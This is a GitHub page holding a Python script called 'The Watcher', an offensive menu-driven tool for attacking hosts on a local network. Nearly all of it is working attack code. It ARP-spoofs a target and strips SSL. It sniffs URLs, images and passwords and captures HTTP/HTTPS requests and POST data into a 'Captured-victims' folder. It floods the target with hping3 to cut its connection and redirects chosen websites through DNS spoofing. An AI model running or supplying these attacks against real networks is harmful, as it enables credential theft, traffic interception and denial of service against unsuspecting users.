-
Notifications
You must be signed in to change notification settings - Fork 9
/
thewatcher
271 lines (223 loc) · 9.84 KB
/
thewatcher
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#!/usr/bin/env python
#-.- coding: utf-8 -.-
import os
import sys
import socket
import struct
from time import sleep
#Colors
Black='\033[0;30m' # Black
Red='\033[0;31m' # Red
Green='\033[0;32m' # Green
Blue='\033[0;34m' # Blue
Purple='\033[0;35m' # Purple
Cyan='\033[0;36m' # Cyan
Cafe="\033[0;33m" # Dark Yellow
White='\033[0;37m' # White
Color_Off='\033[0m' # Text Reset
# Bold
BBlack='\033[1;30m' # Black
BRed='\033[1;31m' # Red
BGreen='\033[1;32m' # Green
BYellow='\033[1;33m' # Yellow
BBlue='\033[1;34m' # Blue
BPurple='\033[1;35m' # Purple
BCyan='\033[1;36m' # Cyan
BWhite='\033[1;37m' # White
def check_root():
if not os.geteuid() == 0 :
sys.exit("{0}[x]You don't have root user privileges".format(Red))
def main_banner():
os.system("clear")
print """
{5}Version 5.0
{3}
""8"" 8 8 8
8 e e eeee 8 8 8 eeeee eeeee eeee e e eeee eeeee
8e 8 8 8 8e 8 8 8 8 8 8 8 8 8 8 8 8
{4} 88 8eee8 8eee 88 8 8 8eee8 8e 8e 8eee8 8eee 8eee8e
88 88 8 88 88 8 8 88 8 88 88 88 8 88 88 8
88 88 8 88ee 88ee8ee8 88 8 88 88e8 88 8 88ee 88 8
{1}By{2}: {3}DevoOverkill9
{2}Visit{1} : {0}https://github.com/DevoOverkill9/the-watcher {3}for updates & info
""".format(Color_Off , Red , Blue , Cafe , Green , Purple)
def list_banner():
print """
{0} {1} {0} {1}
{0} // | _ {1} {0} _ | \ {1}
{0} // \(_) {1} {3}+{2}-------------------------------{3}+{0} (_)/ \ {1}
{0} // / o {1} {2}| {1}Trust unto God and he shall {2}|{0} o \ \ {1}
{0} //__ /_\/ {1} {2}| {1}direct your path {2}|{0} \/_\ __\{1}
{0} /- /|/ \ {1} {3}+{2}-------------------------------{3}+ {0} / \|\ -\{1}
{0} =/_|___| {1} {0} |___|_\={1}
{0}
""".format(Red , Color_Off , Blue , Green)
def get_traffic():
traffic_on = "echo 1 > /proc/sys/net/ipv4/ip_forward"
traffic_redirect_tcp = "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080"
traffic_redirect_udp = "iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53"
os.system(traffic_on)
os.system(traffic_redirect_tcp)
os.system(traffic_redirect_udp)
def get_gateway():
with open("/proc/net/route") as fh:
for line in fh:
fields = line.strip().split()
if fields[1] != '00000000' or not int(fields[3], 16) & 2:
continue
return socket.inet_ntoa(struct.pack ("<L", int(fields[2], 16)))
def target_scan():
gateway_ip = get_gateway()
print("[{0}?{1}]Would you like to scan for local network targets? (y,n)".format(Cafe , Color_Off))
host_scanning=raw_input("\n{0}WATCHER{1}:{2} ".format(Blue , Red , Color_Off))
if host_scanning == "y":
print("Scanning..")
try:
os.system("netdiscover -r {0}/24".format(gateway_ip))
except KeyboardInterrupt:
pass
elif host_scanning == "n":
pass
else:
print("[{0}x{1}]Choose : y = yes , n = no\n".format(Red , Color_Off))
return target_scan()
def identify_host():
global host_ip
host="ip route get 8.8.8.8 | awk '{print $NF; exit }' > .host.txt"
os.system(host)
host_file=open(".host.txt" , "r")
host_ip=host_file.read(15)
print("[{0}+{1}]Host IP address : ".format(Green , Color_Off))+host_ip
def identify_target():
global target_ip
print("\n[{0}+{1}]Enter the target ip address".format(Green , Color_Off))
target_ip = raw_input("\n{0}WATCHER{1}:{2} ".format(Blue , Red , Color_Off))
if target_ip.startswith("192.168.") == False:
print("\n[{0}x{1}]Wrong ip address!".format(Red , Color_Off))
return identify_target()
print("\n[{0}+{1}]Target IP address : ".format(Green , Color_Off))+str(target_ip)
def identify_interface():
global interface
get_interface="ip -o -4 route show to default | awk '{print $5}' > interface.txt"
os.system(get_interface)
interface_file = open("interface.txt" , "r")
interface = interface_file.read(5)
print("[{0}+{1}]Network Interface : {2}".format(Green , Color_Off , interface))
def attack_list():
gateway_ip=get_gateway()
os.system("clear")
list_banner()
print(" {0}[{1}01{0}]{2}Arpspoof Target".format(Red , Cafe, Color_Off))
print(" {0}[{1}02{0}]{2}SSL Stripe".format(Red , Cafe, Color_Off))
print(" {0}[{1}03{0}]{2}Sniff Images,URL's,low encrypted passwords".format(Red , Cafe, Color_Off))
print(" {0}[{1}04{0}]{2}Get HTTP/HTTPS Requests".format(Red , Cafe, Color_Off))
print(" {0}[{1}05{0}]{2}Monitor All network traffic devices".format(Red , Cafe, Color_Off))
print(" {0}[{1}06{0}]{2}Cut the internet connection".format(Red , Cafe, Color_Off))
print(" {0}[{1}07{0}]{2}Dns-spoof attack".format(Red , Cafe, Color_Off))
print(" {0}[{1}08{0}]{2}Identify another target IP".format(Red , Cafe, Color_Off))
print(" {0}[{1}00{0}]{2}Exit without closing any windows".format(Red , Cafe, Color_Off))
attack_type = raw_input("\n{0}WATCHER{1}:{2} ".format(Blue , Red , Color_Off))
if attack_type == '1':
print("\n[{0}+{1}]Arpspoofing target..".format(Green , Color_Off))
sleep(1.0)
arpspoof = "xterm -geometry 65x19-0+0 -fg '#CE0808' -bg '#000000' -e arpspoof -i {0} -t {1} {2} &".format(interface , target_ip , gateway_ip)
os.system(arpspoof)
return attack_list()
elif attack_type == '2':
print("\n[{0}+{1}]Downgrade SSL Encryption".format(Green , Color_Off))
sleep(1.0)
sslstrip = 'xterm -geometry 65x19-0-0 -fg "#0500FF" -bg "#000000" -e sslstrip -l 8080 &'
os.system(sslstrip)
return attack_list()
elif attack_type == '3':
print("\n[{0}+{1}]Man in the middle ATTACK".format(Green , Color_Off))
sleep(1.0)
arpspoof='xterm -geometry 65x19-0+0 -fg "#CE0808" -bg "#000000" -e arpspoof -i {0} -t {1} {2} &'.format(interface , target_ip , gateway_ip)
sslstrip='xterm -geometry 65x19-0-0 -fg "#0500FF" -bg "#000000" -e sslstrip -l 8080 &'
driftnet='xterm -geometry 65x19+0+0 -fg "#FFB800" -bg "#000000" -e driftnet -i {} &'.format(interface)
urlsnarf='xterm -geometry 65x19+0-0 -fg "#33FF00" -bg "#000000" -e urlsnarf -i {} &'.format(interface)
dsniff='xterm -geometry 65x19-0+0 -fg "#CE0808" -bg "#000000" -e dsniff -i {} &'.format(interface)
os.system(arpspoof)
os.system(sslstrip)
os.system(driftnet)
os.system(urlsnarf)
os.system(dsniff)
return attack_list()
elif attack_type == '4':
print("[{0}+{1}]Getting HTTP/HTTPS Req.".format(Green , Color_Off))
sleep(1.0)
bettercap_requests = 'xterm -geometry 119x33-200-0 -fg "#ffffff" -bg "#000000" -e bettercap -I {0} -G {1} -T {2} -X --proxy --proxy-https --sniffer-output Captured-victims/captured-packets{2} &'.format(interface , gateway_ip , target_ip)
os.system(bettercap_requests)
return attack_list()
elif attack_type == '5':
print("[{0}+{1}]Get All Traffic".format(Green , Color_Off))
sleep(1.0)
bettercap_all = 'xterm -geometry 119x33-200+0 -fg "#ffffff" -bg "#000000" -e bettercap --proxy --proxy-https -P POST --sniffer-output Captured-victims/captured-packets-all &'
os.system(bettercap_all)
return attack_list()
elif attack_type == '6':
print("[{0}+{1}]Kill the Connection!".format(Green , Color_Off))
sleep(1.0)
cut_internet = 'xterm -geometry 65x19-300-250 -fg "#FF002E" -bg "#000000" -e hping3 -c 10000 -d 128 -S --flood --rand-source {} &'.format(target_ip)
os.system(cut_internet)
return attack_list()
elif attack_type == '7':
print("\n[{0}+{1}]Dns-spoofing Attack Launch".format(Green , Color_Off))
os.system("touch spoofhosts.txt")
print("[{0}*{1}]make sure that you have placed your html file in /var/www/html path\n".format(Blue , Color_Off))
print("[{0}*{1}]Enter the website you want to spoof target".format(Blue , Color_Off))
print("\texample : bestgore.com")
website_spoof = raw_input("\n{0}WATCHER{1}:{2} ".format(Blue , Red , Color_Off))
if website_spoof == "":
print("[{0}x{1}]you couldn't have perform this attack without EMPTY site!".format(Red , Color_Off))
sleep(1.0)
return attack_list()
os.system("echo {} www* > spoofhosts.txt".format(target_ip))
os.system("echo {0} {1} >> spoofhosts.txt".format(target_ip , website_spoof))
dns_arp = 'xterm -geometry 65x19+0+0 -fg "#FFB800" -bg "#000000" -e arpspoof -t {0} {1} &'.format(target_ip , gateway_ip)
dns_spoof = 'xterm -geometry 119x33-200+0 -fg "#00ff11" -bg "#000000" -e dnsspoof -f spoofhosts.txt host {} and udp port 53 &'.format(target_ip)
os.system("systemctl start apache2")
os.system(dns_arp)
sleep(0.2)
os.system(dns_spoof)
sleep(0.5)
return attack_list()
elif attack_type == '8':
print("\n[{0}+{1}]Setting new target".format(Green , Color_Off))
return main()
elif attack_type == '0':
print ("\n[{0}+{1}]Exiting..".format(Red , Color_Off))
sys.exit(0)
else:
print("[{0}x{1}]Wrong choice!".format(Red , Color_Off))
sleep(1.0)
return attack_list()
def main():
try:
check_root()
main_banner()
if get_gateway() == None:
print("[{0}x{1}]Make sure that you are connected to the internet!".format(Red , Color_Off))
sys.exit(1)
else:
pass
target_scan() #scanning targets
#show info
identify_target() #set target
print("[{0}+{1}]Network gateway : ".format(Green , Color_Off))+str(get_gateway())
identify_host()
identify_interface()
print("[{0}*{1}]Redirecting traffic".format(Blue , Color_Off))
get_traffic()
print("[{0}+{1}]Done\n".format(Green , Color_Off))
print("[{0}?{1}]Ready to attack now?".format(Cafe , Color_Off))
launch_attack = raw_input("\n{0}WATCHER{1}:{2} ".format(Blue , Red , Color_Off))
if launch_attack == "y":
attack_list()
if launch_attack == "n":
print("\n[{0}x{1}]Shutting Down..".format(Red , Color_Off))
sys.exit(0)
except KeyboardInterrupt:
print("\n[{0}x{1}]Shutting Down..".format(Red , Color_Off))
sys.exit(0)
if __name__ == '__main__':main()